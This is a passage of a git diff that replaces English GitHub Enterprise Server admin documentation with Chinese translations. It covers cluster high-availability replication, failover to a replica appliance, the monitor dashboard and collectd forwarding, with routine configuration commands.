键值对,然后将值更改为重命名的主数据中心。 例如,如果已将主数据中心命名为 `primary`,请为每个节点使用以下键值对。 ``` consul-datacenter = primary @@ -99,123 +105,123 @@ Before you define a secondary datacenter for your passive nodes, ensure that you {% data reusables.enterprise_clustering.configuration-finished %} -After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished assigning your nodes to the cluster's primary datacenter. +在 {% data variables.product.prodname_ghe_server %} 返回提示符,您已完成将节点分配给群集的主数据中心。 -### Adding passive nodes to the cluster configuration file +### 将被动节点添加到群集配置文件 -To configure high availability, you must define a corresponding passive node for every active node in your cluster. The following instructions create a new cluster configuration that defines both active and passive nodes. You will: +要配置高可用性,必须为群集中的每个主动节点定义相应的被动节点。 以下说明创建用于定义主动节点和被动节点的新群集配置。 你将: -- Create a copy of the active cluster configuration file. -- Edit the copy to define passive nodes that correspond to the active nodes, adding the IP addresses of the new virtual machines that you provisioned. -- Merge the modified copy of the cluster configuration back into your active configuration. -- Apply the new configuration to start replication. +- 创建主动群集配置文件的副本。 +- 编辑副本以定义与主动节点对应的被动节点,添加预配的新虚拟机的 IP 地址。 +- 将群集配置的修改副本合并回主动配置。 +- 应用新配置以开始复制。 -For an example configuration, see "[Example configuration](#example-configuration)." +有关示例配置,请参阅“[示例配置](#example-configuration)”。 -1. For each node in your cluster, provision a matching virtual machine with identical specifications, running the same version of {% data variables.product.prodname_ghe_server %}. Note the IPv4 address and hostname for each new cluster node. For more information, see "[Prerequisites](#prerequisites)." +1. 对于群集中的每个节点,预配规范相同的匹配虚拟机,运行相同版本的 {% data variables.product.prodname_ghe_server %}。 记下每个新群集节点的 IPv4 地址和主机名。 有关详细信息,请参阅“[先决条件](#prerequisites)”。 {% note %} - **Note**: If you're reconfiguring high availability after a failover, you can use the old nodes from the primary datacenter instead. + **注意:** 如果在故障转移后重新配置高可用性,可以改用主数据中心的旧节点。 {% endnote %} {% data reusables.enterprise_clustering.ssh-to-a-node %} -3. Back up your existing cluster configuration. +3. 备份现有群集配置。 ``` cp /data/user/common/cluster.conf ~/$(date +%Y-%m-%d)-cluster.conf.backup ``` -4. Create a copy of your existing cluster configuration file in a temporary location, like _/home/admin/cluster-passive.conf_. Delete unique key-value pairs for IP addresses (`ipv*`), UUIDs (`uuid`), and public keys for WireGuard (`wireguard-pubkey`). +4. 在临时位置创建现有群集配置文件的副本,例如 /home/admin/cluster-passive.conf。 删除 IP 地址的唯一键值对 (`ipv*`)、UUID (`uuid`) 和 WireGuard 的公钥 (`wireguard-pubkey`)。 ``` grep -Ev "(?:|ipv|uuid|vpn|wireguard\-pubkey)" /data/user/common/cluster.conf > ~/cluster-passive.conf ``` -5. Remove the `[cluster]` section from the temporary cluster configuration file that you copied in the previous step. +5. 从上一步中复制的临时群集配置文件删除 `[cluster]` 部分。 ``` git config -f ~/cluster-passive.conf --remove-section cluster ``` -6. Decide on a name for the secondary datacenter where you provisioned your passive nodes, then update the temporary cluster configuration file with the new datacenter name. Replace `SECONDARY` with the name you choose. +6. 确定在其中预配了被动节点的辅助数据中心的名称,然后使用新的数据中心名称更新临时群集配置文件。 将 `SECONDARY` 替换为所选名称。 ```shell - sed -i 's/datacenter = default/datacenter = SECONDARY/g' ~/cluster-passive.conf + sed -i 's/datacenter = default/datacenter = SECONDARY/g' ~/cluster-passive.conf ``` -7. Decide on a pattern for the passive nodes' hostnames. +7. 确定被动节点主机名的模式。 {% warning %} - **Warning**: Hostnames for passive nodes must be unique and differ from the hostname for the corresponding active node. + **警告**:被动节点的主机名必须是唯一的,并且与对应主动节点的主机名不同。 {% endwarning %} -8. Open the temporary cluster configuration file from step 3 in a text editor. For example, you can use Vim. +8. 在文本编辑器中打开步骤 3 中的临时群集配置文件。 例如,您可以使用 Vim。 ```shell sudo vim ~/cluster-passive.conf ``` -9. In each section within the temporary cluster configuration file, update the node's configuration. {% data reusables.enterprise_clustering.configuration-file-heading %} +9. 在临时群集配置文件中的每个部分,更新节点的配置。 {% data reusables.enterprise_clustering.configuration-file-heading %} - - Change the quoted hostname in the section heading and the value for `hostname` within the section to the passive node's hostname, per the pattern you chose in step 7 above. - - Add a new key named `ipv4`, and set the value to the passive node's static IPv4 address. - - Add a new key-value pair, `replica = enabled`. + - 根据上面步骤 7 中选择的模式,将部分标题中引用的主机名和部分中 `hostname` 的值更改为被动节点的主机名。 + - 新增一个名为 `ipv4` 的密钥,并将值设置为被动节点的静态 IPv4 地址。 + - 添加新的键值对 `replica = enabled`。 ```shell - [cluster "NEW PASSIVE NODE HOSTNAME"] + [cluster "NEW PASSIVE NODE HOSTNAME"] ... - hostname = NEW PASSIVE NODE HOSTNAME - ipv4 = NEW PASSIVE NODE IPV4 ADDRESS + hostname = NEW PASSIVE NODE HOSTNAME + ipv4 = NEW PASSIVE NODE IPV4 ADDRESS replica = enabled ... ... ``` -10. Append the contents of the temporary cluster configuration file that you created in step 4 to the active configuration file. +10. 将步骤 4 中创建的临时群集配置文件的内容附加到活动的配置文件。 ```shell cat ~/cluster-passive.conf >> /data/user/common/cluster.conf ``` -11. Designate the primary MySQL and Redis nodes in the secondary datacenter. Replace `REPLICA MYSQL PRIMARY HOSTNAME` and `REPLICA REDIS PRIMARY HOSTNAME` with the hostnames of the passives node that you provisioned to match your existing MySQL and Redis primaries. +11. 在辅助数据中心中指定主 MySQL 和 Redis 节点。 将 `REPLICA MYSQL PRIMARY HOSTNAME` 和 `REPLICA REDIS PRIMARY HOSTNAME` 替换为预配的被动节点的主机名,以匹配现有的 MySQL 和 Redis 主节点。 ```shell - git config -f /data/user/common/cluster.conf cluster.mysql-master-replica REPLICA-MYSQL-PRIMARY-HOSTNAME - git config -f /data/user/common/cluster.conf cluster.redis-master-replica REPLICA-REDIS-PRIMARY-HOSTNAME + git config -f /data/user/common/cluster.conf cluster.mysql-master-replica REPLICA MYSQL PRIMARY HOSTNAME + git config -f /data/user/common/cluster.conf cluster.redis-master-replica REPLICA REDIS PRIMARY HOSTNAME ``` {% warning %} - **Warning**: Review your cluster configuration file before proceeding. + **警告**:在继续之前请检查群集配置文件。 - - In the top-level `[cluster]` section, ensure that the values for `mysql-master-replica` and `redis-master-replica` are the correct hostnames for the passive nodes in the secondary datacenter that will serve as the MySQL and Redis primaries after a failover. - - In each section for an active node named [cluster "ACTIVE NODE HOSTNAME"], double-check the following key-value pairs. - - `datacenter` should match the value of `primary-datacenter` in the top-level `[cluster]` section. - - `consul-datacenter` should match the value of `datacenter`, which should be the same as the value for `primary-datacenter` in the top-level `[cluster]` section. - - Ensure that for each active node, the configuration has **one** corresponding section for **one** passive node with the same roles. In each section for a passive node, double-check each key-value pair. - - `datacenter` should match all other passive nodes. - - `consul-datacenter` should match all other passive nodes. - - `hostname` should match the hostname in the section heading. - - `ipv4` should match the node's unique, static IPv4 address. - - `replica` should be configured as `enabled`. - - Take the opportunity to remove sections for offline nodes that are no longer in use. + - 在顶级 `[cluster]` 部分中,确保 `mysql-master-replica` 和 `redis-master-replica` 的值是辅助数据中心中被动节点的正确主机名,这些被动节点将在故障转移后用作 MySQL 和 Redis 主节点。 + - 在名为 [cluster "ACTIVE NODE HOSTNAME"] 的主动节点的每个部分中,仔细检查以下键值对。 + - `datacenter` 应与顶级 `[cluster]` 部分中 `primary-datacenter` 的值匹配。 + - `consul-datacenter` 应与 `datacenter` 的值匹配,该值应与顶级 `[cluster]` 部分中 `primary-datacenter` 的值相同。 + - 确保每个主动节点的配置与包含相同角色的被动节点的配置具有相对应的部分 。 在被动节点的每个部分中,仔细检查每个键值对。 + - `datacenter` 应与其他所有被动节点匹配。 + - `consul-datacenter` 应与其他所有被动节点匹配。 + - `hostname` 应与部分标题中的主机名匹配。 + - `ipv4` 应与节点的唯一静态 IPv4 地址匹配。 + - `replica` 应配置为 `enabled`。 + - 利用机会删除已经不再使用的离线节点的部分。 - To review an example configuration, see "[Example configuration](#example-configuration)." + 要查看示例配置,请参阅“[示例配置](#example-configuration)”。 {% endwarning %} -13. Initialize the new cluster configuration. {% data reusables.enterprise.use-a-multiplexer %} +13. 初始化新群集配置。 {% data reusables.enterprise.use-a-multiplexer %} ```shell ghe-cluster-config-init ``` -14. After the initialization finishes, {% data variables.product.prodname_ghe_server %} displays the following message. +14. 初始化完成后,{% data variables.product.prodname_ghe_server %} 将显示以下消息。 ```shell Finished cluster initialization @@ -225,33 +231,33 @@ For an example configuration, see "[Example configuration](#example-configuratio {% data reusables.enterprise_clustering.configuration-finished %} -17. Configure a load balancer that will accept connections from users if you fail over to the passive nodes. For more information, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)." +17. 配置负载均衡器,如果故障转移到被动节点,该均衡器将接受来自用户的连接。 有关详细信息,请参阅“[群集网络配置](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)”。 -You've finished configuring high availability replication for the nodes in your cluster. Each active node begins replicating configuration and data to its corresponding passive node, and you can direct traffic to the load balancer for the secondary datacenter in the event of a failure. For more information about failing over, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." +您已完成为群集中的节点配置高可用性副本。 每个主动节点开始将配置和数据复制到其对应的被动节点,并且您可以在发生故障时将流量直接引导至辅助数据中心的负载均衡器。 有关故障转移的详细信息,请参阅“[发起到副本群集的故障转移](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)”。 -### Example configuration +### 配置示例 -The top-level `[cluster]` configuration should look like the following example. +顶级 `[cluster]` 配置应如下例所示。 ```shell [cluster] - mysql-master = HOSTNAME-OF-ACTIVE-MYSQL-MASTER - redis-master = HOSTNAME-OF-ACTIVE-REDIS-MASTER - primary-datacenter = PRIMARY-DATACENTER-NAME - mysql-master-replica = HOSTNAME-OF-PASSIVE-MYSQL-MASTER - redis-master-replica = HOSTNAME-OF-PASSIVE-REDIS-MASTER + mysql-master = HOSTNAME OF ACTIVE MYSQL MASTER + redis-master = HOSTNAME OF ACTIVE REDIS MASTER + primary-datacenter = PRIMARY DATACENTER NAME + mysql-master-replica = HOSTNAME OF PASSIVE MYSQL MASTER + redis-master-replica = HOSTNAME OF PASSIVE REDIS MASTER mysql-auto-failover = false ... ``` -The configuration for an active node in your cluster's storage tier should look like the following example. +群集存储层中主动节点的配置应如下所示。 ```shell ... -[cluster "UNIQUE ACTIVE NODE HOSTNAME"] +[cluster "UNIQUE ACTIVE NODE HOSTNAME"] datacenter = default - hostname = UNIQUE-ACTIVE-NODE-HOSTNAME - ipv4 = IPV4-ADDRESS + hostname = UNIQUE ACTIVE NODE HOSTNAME + ipv4 = IPV4 ADDRESS consul-datacenter = default consul-server = true git-server = true @@ -262,26 +268,26 @@ The configuration for an active node in your cluster's storage tier should look memcache-server = true metrics-server = true storage-server = true - vpn = IPV4 ADDRESS SET AUTOMATICALLY - uuid = UUID SET AUTOMATICALLY - wireguard-pubkey = PUBLIC KEY SET AUTOMATICALLY + vpn = IPV4 ADDRESS SET AUTOMATICALLY + uuid = UUID SET AUTOMATICALLY + wireguard-pubkey = PUBLIC KEY SET AUTOMATICALLY ... ``` -The configuration for the corresponding passive node in the storage tier should look like the following example. +存储层中对应的被动节点的配置应如下所示。 -- Important differences from the corresponding active node are **bold**. -- {% data variables.product.prodname_ghe_server %} assigns values for `vpn`, `uuid`, and `wireguard-pubkey` automatically, so you shouldn't define the values for passive nodes that you will initialize. -- The server roles, defined by `*-server` keys, match the corresponding active node. +- 与相应主动节点的重要区别以粗体显示。 +- {% data variables.product.prodname_ghe_server %} 自动为 `vpn`、`uuid` 和 `wireguard-pubkey` 分配值,因此不应为要初始化的被动节点定义值。 +- `*-server` 密钥定义的服务器角色与相应的主动节点匹配。 ```shell ... -[cluster "UNIQUE PASSIVE NODE HOSTNAME"] +[cluster "UNIQUE PASSIVE NODE HOSTNAME"] replica = enabled - ipv4 = IPV4 ADDRESS OF NEW VM WITH IDENTICAL RESOURCES - datacenter = SECONDARY DATACENTER NAME - hostname = UNIQUE PASSIVE NODE HOSTNAME - consul-datacenter = SECONDARY DATACENTER NAME + ipv4 = IPV4 ADDRESS OF NEW VM WITH IDENTICAL RESOURCES + datacenter = SECONDARY DATACENTER NAME + hostname = UNIQUE PASSIVE NODE HOSTNAME + consul-datacenter = SECONDARY DATACENTER NAME consul-server = true git-server = true pages-server = true @@ -291,73 +297,73 @@ The configuration for the corresponding passive node in the storage tier should memcache-server = true metrics-server = true storage-server = true - vpn = DO NOT DEFINE - uuid = DO NOT DEFINE - wireguard-pubkey = DO NOT DEFINE + vpn = DO NOT DEFINE + uuid = DO NOT DEFINE + wireguard-pubkey = DO NOT DEFINE ... ``` -## Monitoring replication between active and passive cluster nodes +## 监控主动与被动群集节点之间的复制 -Initial replication between the active and passive nodes in your cluster takes time. The amount of time depends on the amount of data to replicate and the activity levels for {% data variables.product.prodname_ghe_server %}. +群集中主动节点与被动节点之间的初始复制需要时间。 时间量取决于要复制的数据量和 {% data variables.product.prodname_ghe_server %} 的活动水平。 -You can monitor the progress on any node in the cluster, using command-line tools available via the {% data variables.product.prodname_ghe_server %} administrative shell. For more information about the administrative shell, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)." +您可以通过 {% data variables.product.prodname_ghe_server %} 系统管理 shell 使用命令行工具监控群集中任何节点的进度。 有关管理 shell 的详细信息,请参阅“[访问管理 shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)”。 -- Monitor replication of databases: +- 监控数据库的复制: ``` /usr/local/share/enterprise/ghe-cluster-status-mysql ``` -- Monitor replication of repository and Gist data: +- 监控仓库和 Gist 数据的复制: ``` ghe-spokes status ``` -- Monitor replication of attachment and LFS data: +- 监控附件和 LFS 数据的复制: ``` ghe-storage replication-status ``` -- Monitor replication of Pages data: +- 监控 Pages 数据的复制: ``` ghe-dpages replication-status ``` -You can use `ghe-cluster-status` to review the overall health of your cluster. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)." +你可以使用 `ghe-cluster-status` 查看群集的整体运行状况。 有关详细信息,请参阅“[命令行实用工具](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)”。 -## Reconfiguring high availability replication after a failover +## 故障转移后重新配置高可用性复制 -After you fail over from the cluster's active nodes to the cluster's passive nodes, you can reconfigure high availability replication in two ways. +从群集的产动节点故障转移到群集的被动节点后,您可以通过两种方式重新配置高可用性副本。 -### Provisioning and configuring new passive nodes +### 预配和配置新的被动节点 -After a failover, you can reconfigure high availability in two ways. The method you choose will depend on the reason that you failed over, and the state of the original active nodes. +故障转移后,您可以通过两种方式重新配置高可用性。 选择的方法将取决于故障转移的原因以及原始主动节点的状态。 -1. Provision and configure a new set of passive nodes for each of the new active nodes in your secondary datacenter. +1. 为辅助数据中心中的每个新主动节点预配和配置一组新的被动节点。 -2. Use the old active nodes as the new passive nodes. +2. 将旧的主动节点用作新的被动节点。 -The process for reconfiguring high availability is identical to the initial configuration of high availability. For more information, see "[Creating a high availability replica for a cluster](#creating-a-high-availability-replica-for-a-cluster)." +重新配置高可用性的过程与高可用性的初始配置相同。 有关详细信息,请参阅“[为群集创建高可用性副本](#creating-a-high-availability-replica-for-a-cluster)”。 -## Disabling high availability replication for a cluster +## 禁用群集的高可用性复制 -You can stop replication to the passive nodes for your cluster deployment of {% data variables.product.prodname_ghe_server %}. +您可以停止复制到 {% data variables.product.prodname_ghe_server %} 群集部署的被动节点。 {% data reusables.enterprise_clustering.ssh-to-a-node %} {% data reusables.enterprise_clustering.open-configuration-file %} -3. In the top-level `[cluster]` section, delete the `redis-master-replica`, and `mysql-master-replica` key-value pairs. +3. 在顶级 `[cluster]` 部分中,删除 `redis-master-replica` 和 `mysql-master-replica` 键值对。 -4. Delete each section for a passive node. For passive nodes, `replica` is configured as `enabled`. +4. 删除被动节点的每个部分。 对于被动节点,`replica` 配置为 `enabled`。 {% data reusables.enterprise_clustering.apply-configuration %} {% data reusables.enterprise_clustering.configuration-finished %} -After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished disabling high availability replication. +在 {% data variables.product.prodname_ghe_server %} 返回提示后,您已完成禁用高可用性复制操作。 diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md index 29e3fcaeb1..49bcc35327 100644 --- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md +++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md @@ -1,6 +1,6 @@ --- -title: Initiating a failover to your replica appliance -intro: 'You can failover to a {% data variables.product.prodname_ghe_server %} replica appliance using the command line for maintenance and testing, or if the primary appliance fails.' +title: 发起到副本设备的故障转移 +intro: '您可以使用命令行故障转移到 {% data variables.product.prodname_ghe_server %} 副本设备以进行维护和测试,也可以在主设备发生故障时进行故障转移。' redirect_from: - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance @@ -13,60 +13,66 @@ topics: - High availability - Infrastructure shortTitle: Initiate failover to appliance +ms.openlocfilehash: e2c15dab0a812fe6031f78e7edbccaff6a2503c0 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192991' --- -The time required to failover depends on how long it takes to manually promote the replica and redirect traffic. The average time ranges between 20-30 minutes. +故障转移所需的时间取决于手动升级副本和重定向流量所需的时长。 平均时间范围为 20-30 分钟。 {% data reusables.enterprise_installation.promoting-a-replica %} -1. If the primary appliance is available, to allow replication to finish before you switch appliances, on the primary appliance, put the primary appliance into maintenance mode. +1. 如果主设备可用,要在切换设备之前允许复制完成,请在主设备上将主设备置于维护模式。 - - Put the appliance into maintenance mode. + - 将设备置于维护模式。 - - To use the management console, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)" + - 若要使用管理控制台,请参阅“[启用和安排维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)” - - You can also use the `ghe-maintenance -s` command. + - 也可使用 `ghe-maintenance -s` 命令。 ```shell $ ghe-maintenance -s ``` - - When the number of active Git operations, MySQL queries, and Resque jobs reaches zero, wait 30 seconds. + - 当活动 Git 操作、MySQL 查询和 Resque 作业数量达到零时,等待 30 秒。 {% note %} - **Note:** Nomad will always have jobs running, even in maintenance mode, so you can safely ignore these jobs. + 注意:Nomad 将始终有作业在运行,即使是在维护模式下,因此你可以安全地忽略这些作业。 {% endnote %} - - To verify all replication channels report `OK`, use the `ghe-repl-status -vv` command. + - 若要验证所有复制通道均报告 `OK`,请使用 `ghe-repl-status -vv` 命令。 ```shell $ ghe-repl-status -vv ``` -4. On the replica appliance, to stop replication and promote the replica appliance to primary status, use the `ghe-repl-promote` command. This will also automatically put the primary node in maintenance mode if it’s reachable. +4. 在副本设备上,要停止复制并将副本设备提升为主状态,请使用 `ghe-repl-promote` 命令。 如果可访问,此节点也会自动将主节点置于维护节点中。 ```shell $ ghe-repl-promote ``` {% note %} - **Note:** If the primary node is unavailable, warnings and timeouts may occur but can be ignored. + 注意:如果主节点不可用,则可能会出现警告和超时,但可以忽略。 {% endnote %} -5. Update the DNS record to point to the IP address of the replica. Traffic is directed to the replica after the TTL period elapses. If you are using a load balancer, ensure it is configured to send traffic to the replica. -6. Notify users that they can resume normal operations. -7. If desired, set up replication from the new primary to existing appliances and the previous primary. For more information, see "[About high availability configuration](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)." -8. Appliances you do not intend to setup replication to that were part of the high availability configuration prior the failover, need to be removed from the high availability configuration by UUID. - - On the former appliances, get their UUID via `cat /data/user/common/uuid`. +5. 将 DNS 记录更新为指向副本的 IP 地址。 流量会在经过 TTL 周期后定向到副本。 如果您要使用负载均衡器,请务必将其配置为向副本发送流量。 +6. 通知用户他们可以恢复正常操作。 +7. 如有需要,请设置从新的主设备复制到现有设备和之前的主设备。 有关详细信息,请参阅“[关于高可用性配置](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)”。 +8. 您不打算在故障转移之前将复制设置为高可用性配置一部分的设备需由 UUID 从高可用性配置中删除。 + - 在以前的设备上,通过 `cat /data/user/common/uuid` 获取其 UUID。 ```shell $ cat /data/user/common/uuid ``` - - On the new primary, remove the UUIDs using `ghe-repl-teardown`. Please replace *`UUID`* with a UUID you retrieved in the previous step. + - 在新的主设备上,使用 `ghe-repl-teardown` 删除 UUID。 请将 `UUID` 替换为你在上一步中检索到的 UUID。 ```shell $ ghe-repl-teardown -u UUID ``` -## Further reading +## 延伸阅读 -- "[Utilities for replication management](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- “[用于复制管理的实用程序](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)” diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md index c2f149719e..e5ff198d4a 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md @@ -1,6 +1,6 @@ --- -title: Accessing the monitor dashboard -intro: '{% data variables.product.prodname_ghe_server %} includes a web-based monitoring dashboard that displays historical data about your {% data variables.product.prodname_ghe_server %} appliance, such as CPU and storage usage, application and authentication response times, and general system health.' +title: 访问监视仪表板 +intro: '{% data variables.product.prodname_ghe_server %} 中基于 Web 的监视仪表板可以显示关于 {% data variables.product.prodname_ghe_server %} 设备的历史数据,例如 CPU 和内存使用情况、应用程序和身份验证响应时间以及整体系统健康状况。' redirect_from: - /enterprise/admin/installation/accessing-the-monitor-dashboard - /enterprise/admin/enterprise-management/accessing-the-monitor-dashboard @@ -15,28 +15,33 @@ topics: - Monitoring - Performance shortTitle: Access the monitor dashboard +ms.openlocfilehash: b529369813635a8cafe5f7c7ac6fc04af39001f5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332366' --- -## Accessing the monitor dashboard +## 访问监视仪表板 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -2. At the top of the page, click **Monitor**. -![The Monitor Dashboard link](/assets/images/enterprise/management-console/monitor-dash-link.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +2. 在页面顶部,单击“监视”。 +![监视仪表板链接](/assets/images/enterprise/management-console/monitor-dash-link.png) -## Troubleshooting common resource allocation problems on your appliance +## 排查设备上的常见资源分配问题 {% note %} -**Note**: Because regularly polling {% data variables.location.product_location %} with continuous integration (CI) or build servers can effectively cause a denial of service attack that results in problems, we recommend using webhooks to push updates. For more information, see "[About webhooks](/enterprise/user/articles/about-webhooks/)". +注意:由于通过持续集成 (CI) 或构建服务器定期轮询 {% data variables.product.product_location %} 会引发拒绝服务攻击,从而导致问题的出现,因此,建议使用 Webhook 推送更新。 有关详细信息,请参阅“[关于 Webhook](/enterprise/user/articles/about-webhooks/)”。 {% endnote %} -Use the monitor dashboard to stay informed on your appliance's resource health and make decisions on how to fix high usage issues. +使用监视仪表板实时了解设备资源健康状况并确定如何解决高利用率问题。 -| Problem | Possible cause(s) | Recommendations | +| 问题 | 可能原因 | 建议 | | -------- | ----------------- | --------------- | -| High CPU usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use fewer CPU resources. To increase total CPU resources for the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." | -| High memory usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use less memory. To increase the total memory available on the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." | -| Low disk space availability | Large binaries or log files consuming disk space | If possible, host large binaries on a separate server, and compress or archive log files. If necessary, increase disk space on the VM by following the steps for your platform in "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)." | -| Higher than usual response times | Often caused by one of the above issues | Identify and fix the underlying issues. If response times remain high, contact {% data variables.contact.contact_ent_support %}. | -| Elevated error rates | Software issues | Contact {% data variables.contact.contact_ent_support %} and include your support bundle. For more information, see "[Providing data to {% data variables.product.prodname_enterprise %} Support](/enterprise/{{ currentVersion}}/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." | +| 高 CPU 使用率 | 在同一主机上运行的其他服务或程序争用 VM | 如有可能,请将其他服务或程序重新配置为占用较少的 CPU 资源。 要增加 VM 的总 CPU 资源,请参阅“[增加 CPU 或内存资源](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)”。 | +| 内存使用率较高 | 在同一主机上运行的其他服务或程序争用 VM | 如有可能,请将其他服务或程序重新配置为占用较少内存。 要增加 VM 上可用的总内存,请参阅“[增加 CPU 或内存资源](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)”。 | +| 可用磁盘空间小 | 较大的二进制或日志文件占用磁盘空间 | 如有可能,请在独立服务器上托管较大的二进制文件,并压缩或存档日志文件。 如有必要,请按照“[增加存储容量](/enterprise/admin/guides/installation/increasing-storage-capacity/)”中的步骤操作,为你的平台增加 VM 的磁盘空间。 | +| 响应时间较正常时间长 | 通常是上述问题之一造成的 | 确定并解决根本问题。 如果响应时间仍较长,请联系 {% data variables.contact.contact_ent_support %}。 | +| 错误率提高 | 软件问题 | 联系 {% data variables.contact.contact_ent_support %} 并附上支持包。 有关详细信息,请参阅“[将数据提供给 {% data variables.product.prodname_enterprise %} 支持](/enterprise/{{ currentVersion}}/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-support-bundles)”。 | diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md index 0c216af47e..165ac7d1d0 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md @@ -1,6 +1,6 @@ --- -title: Configuring collectd -intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.' +title: 配置 collectd +intro: '{% data variables.product.prodname_enterprise %} 可以通过 `collectd` 收集数据并将数据发送到外部 `collectd` 服务器。 除了其他指标外,我们还会收集标准数据集,例如 CPU 利用率、内存与磁盘使用量、网络接口流量与错误,以及 VM 的总负荷。' redirect_from: - /enterprise/admin/installation/configuring-collectd - /enterprise/admin/articles/configuring-collectd @@ -15,15 +15,21 @@ topics: - Infrastructure - Monitoring - Performance +ms.openlocfilehash: f63eb940681be3131a470a7786e134550fdba152 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145100022' --- -## Set up an external `collectd` server +## 设置外部 `collectd` 服务器 -If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.location.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher. +如果尚未设置外部 `collectd` 服务器,则需要在对 {% data variables.product.product_location %} 启用 `collectd` 转发之前进行设置。 `collectd` 服务器必须运行 `collectd` 5.x 或更高版本。 -1. Log into your `collectd` server. -2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf` +1. 登录到 `collectd` 服务器。 +2. 创建或编辑 `collectd` 配置文件,以加载网络插件并使用正确的值填充服务器和端口指令。 在大多数发行版中,该文件位于 `/etc/collectd/collectd.conf` -An example *collectd.conf* to run a `collectd` server: +用于运行 `collectd` 服务器的示例 collectd.conf: LoadPlugin network ... @@ -32,34 +38,32 @@ An example *collectd.conf* to run a `collectd` server: Listen "0.0.0.0" "25826" -## Enable collectd forwarding on {% data variables.product.prodname_enterprise %} +## 在 {% data variables.product.prodname_enterprise %} 上启用 collectd 转发 -By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding: +默认情况下,在 {% data variables.product.prodname_enterprise %} 上禁用 `collectd` 转发。 请按照以下步骤启用和配置 `collectd` 转发: -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Below the log forwarding settings, select **Enable collectd forwarding**. -1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics. -1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826) -1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +1. 在日志转发设置下方,选择“启用 collectd 转发”。 +1. 在“服务器地址”字段中,输入要将 {% data variables.product.prodname_enterprise %} 设备统计信息转发到的 `collectd` 